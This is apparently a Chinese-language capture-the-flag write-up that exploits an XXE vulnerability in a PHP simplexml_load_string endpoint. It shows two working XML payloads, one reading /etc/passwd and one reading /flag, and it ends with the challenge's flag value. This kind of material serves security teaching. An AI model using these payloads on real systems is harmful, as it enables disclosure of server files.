打开容器后发现就是phpinfo()的页面,上网搜索发现访问simplexml_load_string.php文件时,页面没有任何显示。
尝试进行抓包,
发送给repeater,并尝试进行命令执行。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>
<name>
&xxe;
</name>
</test>
发现访问成功,猜想flag文件在根目录下,
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///flag">
]>
<test>
<name>
&xxe;
</name>
</test>
成功拿到flag。
qsnctf{1f525bbe2c984b6baf2de3c8d97faa88}